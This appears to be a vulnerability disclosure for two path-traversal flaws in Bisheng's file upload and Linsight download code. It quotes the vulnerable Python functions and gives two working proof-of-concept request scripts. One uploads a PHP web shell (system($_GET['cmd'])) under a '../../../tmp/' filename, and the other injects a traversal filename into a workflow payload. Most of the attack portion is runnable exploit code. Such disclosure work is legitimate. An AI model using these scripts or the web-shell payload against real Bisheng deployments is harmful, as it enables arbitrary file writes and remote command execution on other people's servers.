Two Critical Path TraversalVulnerabilities in Bisheng

@create_cache_folder
def save_download_file(file_input: Union[bytes, BinaryIO], folder_name: str, filename: str) -> str:
    """
    Synchronous I/O intensive tasks:
    Write data stream to a temporary file
    Simultaneously calculate SHA256
    Rename a file based on the hash
    """
    
    # Convert to stream objects
    if isinstance(file_input, bytes):
        src_stream = BytesIO(file_input)
    else:
        src_stream = file_input
        if hasattr(src_stream, 'seek'):
            src_stream.seek(0)
    
    # Prepare a temporary file
    cache_path = Path(CACHE_DIR)
    folder_path = cache_path / folder_name
    
    # Create the folder if it doesn't exist
    if not folder_path.exists():
        folder_path.mkdir(exist_ok=True)
    
    temp_filename = f"tmp_{uuid4().hex}"
    temp_file_path = folder_path / temp_filename
    
    sha256_hash = hashlib.sha256()
    
    try:
        # Write to temporary file and calculate SHA256 simultaneously
        with open(temp_file_path, 'wb') as dst_file:
            chunk_size = 65536  # 64KB
            while True:
                chunk = src_stream.read(chunk_size)
                if not chunk:
                    break
                sha256_hash.update(chunk)
                dst_file.write(chunk)
        
        # calculate final hash
        file_hash = sha256_hash.hexdigest()
        
        # Logic for handling filename length limits
        safe_filename = filename
        if len(filename) > 60:
            safe_filename = filename[-60:]  # VULNERABILITY: Takes last 60 chars, preserves path traversal
        
        final_file_name = f'{file_hash}_{safe_filename}'  # VULNERABILITY: No path validation
        final_file_path = folder_path / final_file_name  # Path traversal possible here
        
        # Rename (Move) Temporary File to Final Path
        if final_file_path.exists():
            os.remove(temp_file_path)
            return str(final_file_path)
        
        shutil.move(str(temp_file_path), str(final_file_path))  # VULNERABILITY: Moves to traversed path
        return str(final_file_path)

# src/backend/bisheng/api/v1/workstation.py:172-182
@router.post('/knowledgeUpload')
def knowledgeUpload(request: Request,
                    background_tasks: BackgroundTasks,
                    file: UploadFile = File(...),
                    login_user: UserPayload = Depends(UserPayload.get_login_user)):
    try:
        file_path = save_download_file(file.file, 'bisheng', file.filename)  # VULNERABLE
        res = WorkStationService.uploadPersonalKnowledge(request,
                                                         login_user,
                                                         file_path=file_path,
                                                         background_tasks=background_tasks)
        return resp_200(data=res[0])

async def _download_file(self, file_info: dict, target_dir: str) -> str:
    """Download individual files"""
    object_name = file_info["markdown_file_path"]
    file_name = file_info.get("markdown_filename", os.path.basename(object_name))
    file_path = os.path.join(target_dir, file_name)  # VULNERABILITY: No path validation
    minio_client = await get_minio_storage()
    try:
        file_url = await minio_client.get_share_link(object_name, clear_host=False)
        http_client = await get_http_client()
        
        with open(file_path, "wb") as f:  # VULNERABILITY: Writes to traversed path
            async for chunk in http_client.stream(method="GET", url=str(file_url)):
                f.write(chunk)
        
        if not os.path.exists(file_path) or os.path.getsize(file_path) == 0:
            raise ValueError(f"File download failed or empty: {object_name}")
        
        return file_path
    
    except Exception as e:
        logger.error(f"Download failed {object_name}: {e}")
        raise

import requests

# Bisheng API endpoint
url = "http://localhost:3001/api/v1/workstation/knowledgeUpload"

# Malicious filename with path traversal
malicious_content = b"<?php system($_GET['cmd']); ?>"

files = {
    'file': ('../../../tmp/bisheng_pwned.php', malicious_content, 'application/octet-stream')
}

# Authenticated request (replace with valid token)
headers = {
    'Authorization': 'Bearer YOUR_AUTH_TOKEN'
}

response = requests.post(url, files=files, headers=headers)
print(response.json())

ls -la /tmp/bisheng_pwned.php
# File should exist outside the cache directory

import requests

# Linsight workflow execution endpoint
url = "http://localhost:3001/api/v1/linsight/workflow/execute"

# Malicious workflow configuration
payload = {
    "session_id": "test_session",
    "files": [
        {
            "markdown_file_path": "legitimate/path/file.md",
            "markdown_filename": "../../../tmp/linsight_pwned.txt"  # Path traversal
        }
    ]
}

headers = {
    'Authorization': 'Bearer YOUR_AUTH_TOKEN',
    'Content-Type': 'application/json'
}

response = requests.post(url, json=payload, headers=headers)
print(response.json())